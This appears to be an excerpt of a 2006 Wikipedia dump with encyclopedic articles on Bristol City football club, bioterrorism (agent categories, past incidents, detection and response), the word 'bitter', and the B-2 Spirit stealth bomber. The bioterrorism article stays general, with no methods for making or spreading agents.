'''Bristol City''' is a [[football (soccer)|football]] club in [[Bristol|Bristol, England]], which plays in [[Football League One]]. Its home is [[Ashton Gate|Ashton Gate Stadium]]. [[Gary Johnson (footballer)|Gary Johnson]] has been the team's manager since [[23 September]] [[2005]].

Home colours are presently all red, though for most of the club's history red shirts and white shorts have been the norm. The away kit for 2005-6 is &quot;champagne gold&quot;; in the past a variety of combinations have been used, particularly white shirts and black shorts, but yellow, green-and-purple, all black and all white have also been seen in recent years. The club's nickname is &quot;the Robins&quot;, and a [[European Robin|robin]] featured on the club's badge from 1976 to 1994.

City's [[Local derby|derby]] rivals are [[Bristol Rovers F.C.|Bristol Rovers]] and there is considerable antipathy between the sides and supporters. Even the issue of oldest club is still a matter of contention, Rovers claim to be the oldest professional club in Bristol, however City have enjoyed league status for longer. City draw their main support from the south of Bristol, Rovers from the east. Over the years City have usually finished higher in the league than Rovers, though neither team has enjoyed huge success.

==Honours==

The team played in the [[FA Cup]] final, losing 1 - 0 to [[Manchester United F.C.|Manchester United]] at [[Crystal Palace National Sports Centre|Crystal Palace]], [[London]], on [[April 26]] [[1909]], and won the [[Welsh Cup]] in 1934, defeating [[Tranmere Rovers F.C.|Tranmere Rovers]] 3 - 0. 

Their highest finishing position in the League was in the 1906-07 season 
when the team were runners-up to [[Newcastle United F.C.|Newcastle]] in [[Football League First Division|Division 1]].

Minor honours include: [[Football League Second Division|Second Division]] champions 1905-06; [[Football League Third Division South|Third Division South]] champions three times; [[Football League Trophy|Associate Members' Cup]] winners 1985-86 (as Freight Rover Trophy); [[Football League Trophy]] winners 2002-3 (as LDV Vans Trophy); [[Anglo-Scottish Cup]] winners 1977-78.

==History==

The club was founded in 1897, when Bristol South End F.C. turned professional and changed its name to Bristol City. In 1900 the club merged with local rival Bedminster F.C., which had been founded as Southville in 1887. The side joined the [[English Football League teams|Football League]] in 1901. They first entered Division 1 in 1906 as Division 2 champions, and as newcomers became known as the &quot;Bristol Babes&quot;, a nickname that would last into the thirties. They were runners-up in their first season in the top flight, but couldn't match this performance again, and were relegated in 1911. They would not return for sixty-five years. 

The 1920s were a rocky time as City &quot;yo-yoed&quot; between Division 2 and Division 3 South. By the thirties they were solidly stuck in the third division, and stayed that way until after World War II.  Harry Dolman became chairman in 1949, a post he would hold for over 30 years. An engineer who had bought out the firm he worked for, he designed the first set of floodlights installed at Ashton Gate in the early 1950s. The late 1950s were a better time for City, with a five year stay in Division 2, a league they returned to for a further spell in 1965. In 1967 [[Alan Dicks]] was appointed manager, and he eventually led them back to the top division in 1976 when they were runners-up in Division 2. 

Surviving just four seasons in the top division and only managing a peak of 13th position in the 1978-79 season, they were relegated in 1980 and plummeted to Division 4 in straight seasons. The club went bankrupt and was only able to continue playing under the ownership of a new company, BCFC (1982) plc, because eight highly-paid senior players (the &quot;Ashton Gate Eight&quot;) accepted redundancy.

City's stay in the basement was short - just two years - since when they have remained in the middle two divisions of the League structure. The late nineties were a period of instability for the club, with five managers in four seasons. [[Danny Wilson (football)|Danny Wilson]] was appointed as manager in June 2000, but left by mutual consent in June 2004 after successive seasons of finishing 3rd but narrowly failing to win the play-offs. Long-serving City midfielder [[Brian Tinnion]] became player-manager in his place and led the team to a place just outside the play-offs in his first season.

The summer of 2005 saw a major rebuilding of the squad, bringing in the Premiership strikers [[Marcus Stewart]] (who supported City as a boy) and [[Michael Bridges]]. Three games into the 2005-2006 season City were one of only two clubs in the entire league without a goal; the drought ended abruptly in their fourth game, with three goals in the first quarter hour of a 4-2 victory over [[Port Vale F.C.|Port Vale]]. Results remained poor, however, and Tinnion resigned as manager after a 7&amp;ndash;1 thrashing by [[Swansea City A.F.C.|Swansea]]. He was replaced by [[Gary Johnson (footballer)|Gary Johnson]], who was lured from west country neighbours [[Yeovil Town F.C.|Yeovil Town]]. A club record of 9 successive defeats was brought to an end with a 2-0 victory at home to Huddersfield on 10/12/2005.

==Current Squad==
(As of [[17 February]] [[2006]])
{{Football squad start}}
{{football squad player | no=1  | nat=England    | pos=GK | name=[[Steve Phillips (footballer)| Steve Phillips]]}}
{{football squad player | no=2  | nat=England    | pos=DF | name=[[Jamie Smith(footballer)|Jamie Smith]]}}
{{football squad player | no=3  | nat=Scotland   | pos=MF | name=[[Grant Smith]] (1)}}
{{football squad player | no=4  | nat=England    | pos=DF | name=[[Matthew Heywood]]}}
{{football squad player | no=5  | nat=Wales      | pos=DF | name=[[David Partridge]] (2)}}
{{football squad player | no=6  | nat=Scotland   | pos=DF | name=[[Louis Carey]]}}
{{football squad player | no=7  | nat=Scotland   | pos=MF | name=[[Scott Murray(footballer|Scott Murray]]}}
{{football squad player | no=9  | nat=England    | pos=FW | name=[[Steve Brooker]]}}
{{football squad player | no=10 | nat=England    | pos=FW | name=[[Marcus Stewart]]}}
{{football squad player | no=11 | nat=Wales      | pos=FW | name=[[David Cotterill]]}}
{{football squad player | no=12 | nat=England    | pos=MF | name=[[Alex Russell]]}}
{{football squad player | no=14 | nat=Australia  | pos=MF | name=[[Luke Wilkshire]]}}
{{football squad player | no=15 | nat=England    | pos=DF | name=[[Craig Woodman]]}}
{{football squad player | no=16 | nat=England    | pos=DF | name=[[Clayton Fortune]] (3)}}
{{football squad mid}}
{{football squad player | no=17 | nat=England    | pos=MF | name=[[Bradley Orr]]}}
{{football squad player | no=18 | nat=England    | pos=FW | name=[[Calvin Andrew]] (4)}}
{{football squad player | no=19 | nat=England    | pos=FW | name=[[Mark McCammon]] (6)}}
{{football squad player | no=20 | nat=England    | pos=MF | name=[[Scott Brown(footballer)|Scott Brown]]}}
{{football squad player | no=21 | nat=England    | pos=MF | name=[[Cole Skuse]]}}
{{football squad player | no=22 | nat=England    | pos=DF | name=[[Ryan Harley]]}}
{{football squad player | no=23 | nat=Wales      | pos=GK | name=[[Sam Pearce]]}}
{{football squad player | no=24 | nat=Ireland    | pos=DF | name=[[Richard Keogh]]}}
{{football squad player | no=25 | nat=England    | pos=DF | name=[[Liam Fontaine]] (5)}}
{{football squad player | no=26 | nat=England    | pos=DF | name=[[Adam Green (footballer)|Adam Green]] (5)}}
{{football squad player | no=28 | nat=Brazil     | pos=GK | name=[[Adriano Basso]]}}
{{football squad player | no=29 | nat=England    | pos=MF | name=[[David Noble (footballer)|David Noble]]}}
{{football squad player | no=30 | nat=England    | pos=FW | name=[[Bas Savage]]}}
{{football squad player | no=33 | nat=England    | pos=FW | name=[[Elliot Benyon]]}}
{{football squad player | no=?? | nat=England    | pos=GK | name=[[Nathan Abbey]]}}
{{football squad end}}
*(1) On loan to [[Walsall FC|Walsall]]
*(2) On loan to [[Milton Keynes Dons]]
*(3) On loan to [[Port Vale]]
*(4) On loan from [[Luton Town]]
*(5) On loan from [[Fulham F.C.|Fulham]]
*(6) On loan from [[Brighton &amp; Hove Albion F.C.]]

==Famous players==

*[[Billy Wedlock]]
*[[John Atyeo]]
*[[Gus Caesar]]
*[[Andy Cole]]
*[[Brian Tinnion]]
*[[Marcus Stewart]]
*[[Dariusz Dziekanowski|Dariusz 'Jacki' Dziekanowski]]
*[[Ade Akinbiyi]]
*[[Shaun Goater]]
*[[David Moyes]]
*[[Steve McClaren]]
*[[Norman Hunter]]

==Managers==

* Sam Hollis (1897-99)
* Bob Campbell (1899-1901)
* Sam Hollis (1901-05)
* Harry Thickett (1905-10)
* Sam Hollis (1911-13)
* George Hedley (1913-17)
* Jack Hamilton (1917-19)
* Joe Palmer (1919-21)
* [[Alex Raisbeck]] (1921-29)
* Joe Bradshaw (1929-32)
* Bob Hewison (1932-49)
* Bob Wright (1949-50)
* Pat Beasley (1950-58)
* Peter Doherty (1958-60)
* Fred Ford (1960-67)
* [[Alan Dicks]] (1967-80)
* [[Bobby Houghton]] (1980-82)
* [[Roy Hodgson]] (1982)
* [[Terry Cooper]] (1982-88)
* [[Joe Jordan (footballer)|Joe Jordan]] (1988-90)
* Jimmy Lumsden (1990-92)
* [[Denis Smith (football manager)|Denis Smith]] (1992-93)
* [[Russell Osman]] (1993-94)
* [[Joe Jordan (footballer)|Joe Jordan]](1994-97)
* [[John Ward (football manager)|John Ward]] (1997-98)
* Benny Lennartsson (1998-99)
* [[Tony Pulis]] (1999)
* Tony Fawthrop (2000)
* [[Danny Wilson (football)|Danny Wilson]] (2000-04)
* [[Brian Tinnion]] (2004-05)
* [[Gary Johnson (footballer)|Gary Johnson]] (September 2005-Present)

==Ashton Gate==
{{main|Ashton Gate}}

Bristol City play at [[Ashton Gate]] in the south-west of Bristol, just south of the [[River Avon, Bristol|River Avon]]. The ground has an all-seated capacity of about 21,500, with an effective capacity (depending on how many away tickets are allocated, and how they are segregated) of around 19,100. It was the home of Bedminster F.C. until the 1900 merger, and the merged team played some games there the following season, but it did not become the permanent home of Bristol City until 1904.

The Wedlock Stand at the south-east end of the ground was the traditional home fans' end until 1994, housed visiting fans from then until 2005 and is about to be redeveloped. The Williams Stand, on the south-west side, which includes the directors' box and press box, was built in 1958. The Dolman Stand, which lies opposite it, was built in 1970. The most recent addition to the stadium is the Atyeo Stand at the north-west end, which was built in 1994 to replace an open terrace, and contains new dressing rooms and a large gymnasium.

==External links==
* [http://www.bcfc.co.uk/ Official website] (requires registration)
* [http://www.otib.co.uk/ Fan's forum]

{{Football League One}}

[[Category:Bristol City F.C.]]
[[Category:English football clubs]]

[[de:Bristol City F.C.]]
[[fr:Bristol City Football Club]]
[[simple:Bristol City F.C.]]
[[zh:布里斯托尔城足球俱乐部]]</text>
    </revision>
  </page>
  <page>
    <title>Bioterrorism</title>
    <id>4393</id>
    <revision>
      <id>41591305</id>
      <timestamp>2006-02-28T10:02:33Z</timestamp>
      <contributor>
        <username>Tlusťa</username>
        <id>649807</id>
      </contributor>
      <minor />
      <comment>+[[cs:Bioterorismus]]</comment>
      <text xml:space="preserve">{{terrorism}}
'''Bioterrorism''' is [[terrorism]] using [[germ warfare]], an intentional human release of a naturally-occurring or human-modified [[toxin]] or [[biological agent]].

== Types of biological agents ==
=== Category A agents ===
These are biological agents with both a high potential for adverse public health impact and that also have a serious potential for large-scale dissemination. The Category A agents are anthrax, smallpox, plague, botulism, tularemia, and viral hemorrhagic fevers.

; [[Anthrax disease|Anthrax]] : Anthrax is a [[bacterium]] with a highly resistant [[spore]] form. It is highly infectious and lethal when inhaled. It is a non-contagious disease which does not spread from one person to another. An anthrax vaccine does exist but requires many injections and has enough [[side effect]]s that it is considered unsuitable for general use.
[[Image:Daschle_letter.jpg|thumb|150px| Letter sent to [[Senate Majority Leader]] [[Tom Daschle]] containing 'weaponised' [[anthrax disease|anthrax]] powder which caused the deaths of two postal workers during the [[2001 anthrax attacks]] in the [[USA]].]]

; [[Smallpox]] : Smallpox is a highly contagious [[virus]]. It transmits easily through the atmosphere and has a high [[mortality rate]] (up to 30%). Smallpox was eliminated in the world in the [[1970s]], thanks to a worldwide vaccination program. However, some virus samples are still available in [[Russia]]n and [[USA|America]]n laboratories. It is also believed it could be available in other labs.

; [[Botulin]] : Botulin is one the deadliest toxins produced by a bacterium namely ''Clostridium botulinum''. Botulism causes [[respiratory failure]] and [[paralysis]].  

; [[Ebola]] : Ebola is a [[viral hemorrhagic fever]]. It is extremely lethal, with no cure. The symptoms are profuse bleeding from all orifices. 

; [[Bubonic plague|Plague]] : Plague is a disease caused by any one of several highly contagious bacteria. It can be a type of [[pneumonia]] and may be fatal. 

; [[Marburg virus|Marburg]] : Marburg is a [[viral hemorrhagic fever]]. It is extremely lethal, with no cure.

; [[Tularemia]] : Tularemia is a bacterium, responsible for non-lethal but extremely incapacitating diseases (weight loss, fever, [[headache]]s, and often pneumonia).

=== Category B agents ===
Category B agents are moderately easy to disseminate and have low mortality rates.
* [[Brucellosis]] (''Brucella'' species)
* Epsilon toxin of ''[[Clostridium perfringens]]''
* Food safety threats (e.g., ''[[Salmonella]] species'', [[Escherichia coli O157:H7|''E coli'' O157:H7]], ''[[Shigella]]'')
* [[Glanders]] (''Burkholderia mallei'')
* [[Melioidosis]] (''[[Burkholderia]] pseudomallei'')
* [[Psittacosis]] (''Chlamydia psittaci'')
* [[Q fever]] (''Coxiella burnetii'')
* [[Ricin]] toxin from ''Ricinus communis'' ([[castor bean]]s)
* [[Staphylococcus|Staphylococcal]] enterotoxin B
* [[Typhus]] (''Rickettsia prowazekii'')
* Viral [[encephalitis]] ([[alphavirus]]es, e.g.: Venezuelan [[equine encephalitis]], eastern equine encephalitis, western equine encephalitis)
* Water supply threats (e.g., ''[[Vibrio cholerae]]'', ''[[Cryptosporidium]] parvum'')

=== Category C agents ===
Category C agents are [[pathogen]]s that might be [[genetic engineering|engineered]] for mass dissemination because they are easy to produce and have potential for high [[morbidity]] or mortality (examples: [[Henipavirus|Nipah virus]], [[hantavirus]] and multi-drug resistant Tuberculosis (MTB)).

== Modern bioterrorist incidents ==
=== 1984 Rajneeshee ''salmonella'' attack ===
In [[1984]], followers of the [[Rajneesh|Bhagwan Shri Rajneesh]] attempted to control a local [[election]] by infecting [[salad]] bars in 10 restaurants with [[Salmonella typhimurium]] in the small town of [[The Dalles]],  [[Oregon]]. The attack caused about 751 people to get sick (no fatalities).  This incident was the first known bioterrorist attack in the United States in the 20th century.

=== 2001 anthrax attack ===
In September and October of [[2001]], several cases of anthrax broke out in the [[United States]] in the [[2001 anthrax attacks]], caused deliberately.  This was a well-publicized act of bioterrorism.  It motivated efforts to define [[biodefense]] and [[biosecurity]], where more limited definitions of [[biosafety]] had focused on unintentional or accidental impacts of agricultural and medical technologies.

=== 2003 ricin incidents ===
* [[Ricin#Use as a chemical/biological warfare agent|2003 ricin incidents]]

{{sect-num-stub|5}}

== Planning and reacting to a bioterrorist attack ==
Planning may involve the development of biological identification systems.

Until recently in the United States of America, most biological defense strategies have been geared to protecting soldiers on the battlefield rather than ordinary people in cities. Financial cutbacks have limited the tracking of disease outbreaks. Some, like food poisoning due to ''E. coli'' or ''Salmonella'', could be natural or deliberate.

In Europe, disease surveillance is beginning to be organised on the continent-wide scale needed to track a biological emergency. In addition of monitoring sick people, it is thought interesting to track whether a disease is due to natural outbreaks or deliberate attack. For example, a natural variety of anthrax occurs in southern [[Africa]].

Researchers are experimenting with devices to detect the existence of a threat:
* tiny [[integrated circuit|electronic chips]] that would contain living [[neuron|nerve cell]]s to warn of the presence of bacterial toxins (identification of broad range toxins)
* [[fibre-optic]] tube lined with [[antibody|antibodies]] coupled to light-emitting molecules (identification of specific pathogens, such as anthrax, botulinum, ricin)

=== Plants as sensors ===
Very recently, public research has been approved to set up some genetically modified plants that could, in an immediate future, being made profitable to alert the population and the authorities in the event of chemical or biological attack. These new plants specifically modified would change color in contact with certain chemical elements, or biological agents, likely to be used at the time of possible terrorist attacks.  The plants &amp;mdash; opportunely placed in public places &amp;mdash; would lose their [[chlorophyll|green color]] quickly, thus setting off the alarm.

Arguments given to justify this option is that people are used to plants much more than to chemical sensors and the use in public places would not worry the population. Another argument is that these [[GMO]] sentinels could be deployed on vast geographical areas and their system of detection could be introduced into the [[evergreen|evergreen trees]] and the [[algae]] of the watery zones, making it possible for [[satellite]]s to supervise and perceive any change of color due to an hostile agent.

Reaction involves
* setting up local [[emergency medicine|emergency rooms]] and offices to immediately deal with the outcome in case of an attack
* instruction and training for local communities
* protective clothing for military personnel
* tracking down of people buying materials involved in biological warfare 

Once the biological agent has been identified, it can be fought through vaccination of people before they are exposed.  However, vaccines are not considered to be a perfect solution. A bioterrorist could develop novel, possibly artificial, [[pathogen]]s against which conventional [[vaccine]]s would be useless. 

Consequently, some suggest that it would be interesting to look for ways of developing vaccines quickly enough for them to be created, mass-produced and distributed after an attack. This could involve progress in [[DNA sequencing]] so that an unknown pathogen's genes could be known very quickly. The resulting sequences could help in the development of an instant DNA vaccine. 

Another major issue with vaccines is that they often have side-effects which are sometimes lethal, and hence a massive [[innoculation]] program may result in deaths and illness which would be unnecessary if no biological attack occurs.  This issue has a particular with the smallpox and anthrax vaccines.

Making the vaccine is not the totality of the solution. It is rather easy to order soldiers to take the vaccine, but immunizing the population is not, in particular with a vaccine making people sick, with all the controversies already going around vaccination.

For these reasons, some feel that researchers should concentrate on ways to treat victims of biological weapons. For example, Ebola kills people by inducing a widespread inflammatory reaction (similar to [[toxic shock syndrome]]). This could be fought by a new and very powerful [[anti-inflammatory]] drug.

==Publications==
[http://www.liebertpub.com/bsp Biosecurity and Bioterrorism], published by Mary Ann Liebert, Inc., is a peer-reviewed journal that provides an international forum for debate and exploration of the many key strategic, scientific, and operational issues posed by biological weapons and bioterrorism. The indended audience for &lt;em&gt;Biosecurity and Bioterrorism&lt;/em&gt; includes individuals with strategic, management, scientific, or operational responsibilities in fields that have a bearing on bioterrorism issues. These include professional fields such as medicine, public health, law, national security, bioscientific research, agriculture and food safety, drug and vaccine development, the media, and local government.

==See also==
* [[DARPA]]
* [[Biological weapon]]
* [[Biological Weapons Convention]]

== External links ==
*[http://www.biodefenseeducation.com BiodefenseEducation.org]
*[http://www.logicalimages.com/resourcesBTAgents.htm Bioterrorism Category A Agents - Information Resources]
* [http://www.GenomeNewsNetwork.org/categories/index/bioterror.php Bioterrorism News from Genome News Network (GNN)]



[[Category:Terrorism]]
[[Category:Biological warfare]]

[[cs:Bioterorismus]]
[[de:Bioterrorismus]]
[[es:Bioterrorismo]]
[[fr:Bioterrorisme]]
[[sl:Biološki terorizem]]</text>
    </revision>
  </page>
  <page>
    <title>Bitter</title>
    <id>4394</id>
    <revision>
      <id>39857683</id>
      <timestamp>2006-02-16T09:31:14Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Bitter''' can refer to:
{{Wiktionarypar|bitter}}
* [[Bitter_%28taste%29#Bitterness|Bitter]], one of the five basic tastes;
* [[Bitter (beer)|Bitter]], a kind of [[ale]] particularly popular in [[United Kingdom|Britain]] or
* [[Bitters]], an [[herb]]al preparation now used mostly in [[cocktail]]s.
* [[Bitter Cars|Bitter]], a [[Germany|German]] [[car]] company
* [[Bitterness (emotion)|Bitterness]], an [[emotion]]. 
* [[Francis Bitter]], American physicist
{{disambig}}

[[de:Bitter (Begriffsklärung)]]
[[nl:Bitter]]</text>
    </revision>
  </page>
  <page>
    <title>B-2 Spirit</title>
    <id>4396</id>
    <revision>
      <id>42147020</id>
      <timestamp>2006-03-04T03:13:51Z</timestamp>
      <contributor>
        <username>DarthJesus</username>
        <id>1025311</id>
      </contributor>
      <comment>/* Combat */</comment>
      <text xml:space="preserve">&lt;!-- This article is a part of [[Wikipedia:WikiProject Aircraft]]. Please see [[Wikipedia:WikiProject Aircraft/page content]] for recommended layout. --&gt;
[[image:usaf.b2.spirit.750pix.jpg|thumb|300px|The [[United States Air Force]] is the only air force that operates the B-2 Spirit.]]

The '''B-2 Spirit''' is an [[United States|American]] multi-role [[stealth aircraft|stealth]] [[bomber]] capable of delivering both conventional and [[nuclear weapons]]. A dramatic leap forward in technology, the bomber represented a major milestone in the [[United States|U.S.]] bomber modernization program. The B-2 is the most expensive plane ever built. Estimates for the costs per plane range from  $2.2 billion [[United States dollar|USD]] [http://www.aerospaceweb.org/aircraft/bomber/b2/] to $1.157 billion [http://www.cdi.org/issues/aviation/B296.html]. Its stealth technology is intended to help it penetrate defenses previously unpenetrable by combat aircraft. The original procurement of 135 aircraft was later reduced to 75 in the late 1980s. Finally, President [[George H. W. Bush]] reduced the final buy quantity to the 21 already bought in his now famous &quot;New World Order&quot; State of the Union speech in January, 1991. 

==Features==
[[Image:b2_spirit.jpg|thumb|300px|This B-2 has just disengaged from [[aerial refueling]] over the Pacific Ocean. Inflight refueling capability gives the B-2 virtually unlimited range.]]
Along with the [[B-52 Stratofortress]] and [[B-1 Lancer|B-1B]], the U.S. military contends that the B-2 provides the penetrating flexibility and effectiveness inherent in manned bombers. Its low-observable, or &quot;stealth,&quot; characteristics give it the ability to penetrate an enemy's most sophisticated defenses and threaten its most valued, and heavily defended, targets. Its capability to thwart air defenses and threaten effective retaliation should provide a strong, effective deterrent and serious combat force well into the 21st century. 

The revolutionary blending of low-observable technologies with high aerodynamic efficiency and large payload gives the B-2 important advantages over pre-existing bombers. Its traveling range is approximately 6,000 [[nautical mile]]s (11,100 km) without refueling. Also its low-observation ability provides the B-2 greater freedom of action at high altitudes, thus increasing its range and a better field of view for the aircraft's sensors. With its GPS Aided Targeting System (GATS) combined with GPS-aided munitions such as [[Joint Direct Attack Munition|JDAM]] it can use its [[APQ-181 B-2 Radar|APQ-181]] radar to correct GPS errors of targets and gain much better than laser-guided weapon accuracy with &quot;dumb&quot; gravity bombs with a GPS-aided &quot;smart&quot; guidance tail kit attached. It can destroy 16 targets in a single pass.

The B-2's stealth characteristics are derived from a combination of reduced infrared, acoustic, electromagnetic, visual, and radar signatures, making it difficult for defensive systems to detect, track and engage. Many aspects of the low-observability process remain classified; however, the B-2's composite materials, special coatings, and [[flying wing]] design all contribute to its &quot;stealthiness.&quot; 

The B-2 has a crew of two pilots, a pilot in the left seat and mission commander in the right, compared to the B-1B's crew of four and the B-52's crew of five.

==History==
The B-2 started life as a &quot;[[black project|black program]]&quot; known as the High Altitude Penetrating Bomber (HAPB), it then became the Advanced Technology Bomber (ATB) and used the project code word Senior Cejay, it later became the B-2 Spirit. An estimated 23 billion dollars was secretly spent for research and development on the B-2 in the 1980s. An additional cost driver was that the mission was changed in [[1985 in aviation|1985]] from a high altitude bomber to a low altitude penetrating bomber, which required a major redesign. Because the development of the B-2 was one of the best kept secrets of all USAF programs, there was no opportunity for public criticism of its massive cost during the development process. The first B-2 was publicly displayed on [[November 22]], [[1988 in aviation|1988]], when it was rolled out of its hangar at Air Force [[Plant 42]], [[Palmdale, California]], where it was manufactured. Its first flight was on [[July 17]], [[1989 in aviation|1989]]. The B-2 Combined Test Force, Air Force Flight Test Center, [[Edwards Air Force Base]], California, is responsible for flight testing the engineering, manufacturing and development aircraft. 

The first aircraft, named ''Spirit of Missouri'', was delivered on [[December 17]], [[1993 in aviation|1993]]. Depot maintenance responsibility for the B-2 is held by [[United States Air Force|Air Force]] contractor support and is managed at the Oklahoma City Air Logistics Center at [[Tinker Air Force Base]] in [[Oklahoma]].

The prime contractor, responsible for overall system design and integration, is [[Northrop Grumman]] Integrated Systems Sector. [[Boeing Integrated Defense Systems]], [[Hughes Aircraft]] (now [[Raytheon]]), [[General Electric Aircraft Engines]] and [[Vought Aircraft Industries]], are key members of the aircraft contractor team. Another major contractor, responsible for aircrew training devices (weapon system trainer and mission trainer) is Link Simulation &amp; Training, a division of L-3 Communications formerly Hughes Training Inc. (HTI). [http://www.link.com/b2atd.html] Link Division, formerly known as CAE - Link Flight Simulation Corp. Link Simulation &amp; Training is responsible for developing and integrating all aircrew and maintenance training programs. The [[military contractor]]s for the B-2 engaged in massive lobbying campaigns to gain Congressional support for its funding.

[[Whiteman Air Force Base]] in [[Missouri]] was the B-2's only operational base until early [[2003 in aviation|2003]], when facilities for the B-2 were constructed on the joint [[United States|U.S.]]/[[United Kingdom|U.K.]] military base on the [[United Kingdom|British]] island of [[Diego Garcia]] in the [[Indian Ocean]], followed by deployment to [[Guam]] in [[2005 in aviation|2005]]. Facilities for the aircraft have also been constructed at [[RAF Fairford]] in [[Gloucestershire]] in the [[United Kingdom]].

Questions remain over the ongoing and escalating cost of the program [http://www.fas.org/man/gao/gao94217.htm].  Some writers have suggested that the huge program cost may actually include costs for other [[black project]]s that remain classified.  The high per-unit cost may also be partially explained by the small number of planes produced coupled with a large research overhead in the B-2 program. 

These bombers were originally designed to deliver [[nuclear weapons]] during the [[Cold War]], and support for them dwindled as military spending declined. In May of [[1995 in aviation|1995]], in a study commissioned by Congress, the Institute For Defense Analysis concluded that after the demise of the [[Soviet Union]], there was no need for more B-2s. 

===Units using the B-2===
====United States Air Force====
* [[509th Bomb Wing]], [[Whiteman Air Force Base]]
** [[13th Bomb Squadron]]
** [[393d Bomb Squadron]]
** [[394th Combat Training Squadron]]
* [[53d Wing]]
** [[72d Test and Evaluation Squadron]]

==Combat==
[[Image:B-2 Spirit Night 2.JPG|thumb|right|330px|This Spirit was photographed in 2004 at [[Andersen Air Force Base]], [[Guam]].]]
The B-2 was derided by many as being too expensive to risk in combat. However, the aircraft has seen service in three separate campaigns.

Its first combat was during the [[Kosovo War]] in 1999. The aircraft performed well, and it introduced the satellite guided [[Joint Direct Attack Munition|JDAM]] bomb to the world as well. Since then the aircraft has seen combat over [[Afghanistan]] in [[Operation Enduring Freedom]] and [[Iraq]] in [[2003 invasion of Iraq|Operation Iraqi Freedom]].

The missions to Afghanistan saw a first for the aircraft. After flying bombing missions over Afghanistan, the aircraft concerned landed at [[Diego Garcia]], were refueled and had a crew change before launching on another combat mission. This was taken a step further during the Iraq campaign when B-2s were actually based at Diego Garcia.

Later missions to Iraq were launched and returned to Whiteman AFB in Missouri. This resulted in missions lasting over 30 hours and even one mission of over 50 hours. B-2 crews have been used to pioneer sleep cycle research to improve combat crew performance over extended periods.

In the Pentagon's Operational Test and Evaluation 2003 Annual Report it noted that the B-2's overall mission capable rate for FY03 was still short of original requirements, primarily due to maintenance of the B-2's Low Observable materials. It also noted that the Defensive Avionics suite also had shortcomings in warning of pop-up threats.  Despite these problems the B-2 maintained a high mission-capable state for Operation Iraqi Freedom, dropping 583 JDAMs during the conflict. [http://pogo.org/m/dp/dp-2003-B2.pdf]

==Trivia==
*Weighing in at 2,300,000 [[Troy weight|troy ounces]] (71,668 kg), each B-2 cost over $950.00 per troy ounce ($30/g) which is just under double its weight in [[gold]].

*Most B-2s are named for states in the US, following the naming convention &quot;Spirit of [state].&quot;  The two exceptions are &quot;Spirit of America&quot; (AV-1) and &quot;Spirit of [[Kitty Hawk]]&quot; (AV-19).

*The B-2 simulator at Whiteman AFB has been dubbed &quot;Spirit of Hell&quot; by students who have endured marathon training sessions in it.

==Specifications (B-2A)==
[[Image:B-2_spirit_bombing.jpg|thumb|A B-2 Spirit drops Mk82 bombs in a 1994 training exercise off Pt. Mugu in the Pacific Ocean.]]
{{airtemp|
&lt;!-- if you do not understand how to use this template, please ask at [[Wikipedia talk:WikiProject Aircraft]] --&gt;
&lt;!-- please answer the following questions --&gt;
|plane or copter?=plane
|jet or prop?=jet
&lt;!-- Now, fill out the specs.  Please include units where appropriate (main comes first, alt in parentheses). 
If an item doesn't apply, like capacity, leave it blank. For additional lines, end your alt units with a right paranthesis &quot;)&quot; and start a new, fully-formatted line --&gt;
|crew=2
|length main=69 ft
|length alt=20.9 m
|span main=172 ft
|span alt=52.12 m
|height main=17 ft
|height alt=5.1 m
|area main=5,000 ft&amp;sup2;
|area alt=460 m&amp;sup2;
|empty weight main=158,000 lb
|empty weight alt=71,700 kg
|loaded weight main=336,500 lb
|loaded weight alt=152,634 kg
|max takeoff weight main=336,500 lb
|max takeoff weight alt=152,634 kg
|engine (jet)=[[General Electric F-118]]-GE-100
|type of jet=[[turbofan]]s
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|thrust main=17,300 lbf
|thrust alt=77 kN
|max speed main=[[Mach number|Mach]] 0.85, 560 kt
|max speed alt=1,000 km/h
|range main=6,500 mi
|range alt=12,000 km
|ceiling main=50,000 ft
|ceiling alt=15,240 m
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Block 30 Aircraft:
* 40,000 lb (18,000 kg) of Bomb Rack Assembly mounted 500 lb class bombs (Mk82) (total carriage quantity: 80)
* 27,000 lb (12,000 kg) of BRA mounted 750 lb CBU class bombs (total carriage quantity: 36)
* 16 Rotary Launcher Assembly (RLA) mounted 2000 lb class weapons (Mk84, JDAM-84, JDAM-102)
* 16 RLA mounted B61 or B83 nuclear weapons
Later avionics and hardware upgrades allow B-2A to carry [[JSOW]] and [[GBU-28]]s as well.
}}

==List of B-2 Bombers==
{|
|-
! align=&quot;left&quot; | Designation &amp;nbsp; !! align=&quot;left&quot; | Tail # !! align=&quot;left&quot; | Formal name !! align=&quot;left&quot; | Informal names
|-
| AV-1  || 82-1066 || Spirit of America || Fatal Beauty
|-
| AV-2  || 82-1067 || Spirit of Arizona        || Ship From Hell, Murphy's Law
|-
| AV-3  || 82-1068 || Spirit of New York       || Navigator, Ghost, Afternoon Delight
|-
| AV-4  || 82-1069 || Spirit of Indiana        || Christine, Armageddon Express
|-
| AV-5  || 82-1070 || Spirit of Ohio           || Fire and Ice, Toad
|-
| AV-6  || 82-1071 || Spirit of Mississippi    || Black Widow, Penguin, Arnold the Pig
|-
| AV-7  || 88-0328 || Spirit of Texas          || Pirate Ship
|-
| AV-8  || 88-0329 || Spirit of Missouri       ||&amp;nbsp;
|-
| AV-9  || 88-0330 || Spirit of California     ||&amp;nbsp;
|-
| AV-10 || 88-0331 || Spirit of South Carolina ||&amp;nbsp;
|-
| AV-11 || 88-0332 || Spirit of Washington     ||&amp;nbsp;
|-
| AV-12 || 89-0127 || Spirit of Kansas         ||&amp;nbsp;
|-
| AV-13 || 89-0128 || Spirit of Nebraska       ||&amp;nbsp;
|-
| AV-14 || 89-0129 || Spirit of Georgia        ||&amp;nbsp;
|-
| AV-15 || 90-0040 || Spirit of Alaska         ||&amp;nbsp;
|-
| AV-16 || 90-0041 || Spirit of Hawaii         ||&amp;nbsp;
|-
| AV-17 || 92-0700 || Spirit of Florida        ||&amp;nbsp;
|-
| AV-18 || 93-1085 || Spirit of Oklahoma       ||&amp;nbsp;
|-
| AV-19 || 93-1086 || Spirit of Kitty Hawk     ||&amp;nbsp;
|-
| AV-20 || 93-1087 || Spirit of Pennsylvania   ||&amp;nbsp;
|-
| AV-21 || 93-1088 || Spirit of Lousiana       ||&amp;nbsp;
|-
| AV-22 &amp;ndash; AV-165 || cancelled &amp;nbsp; || &amp;nbsp;||&amp;nbsp;
|}

==References==
*[http://www.cnn.com/US/9903/24/us.kosovo.military/index.html CNN - B-2 stealth bombers make combat debut - March 24, 1999]
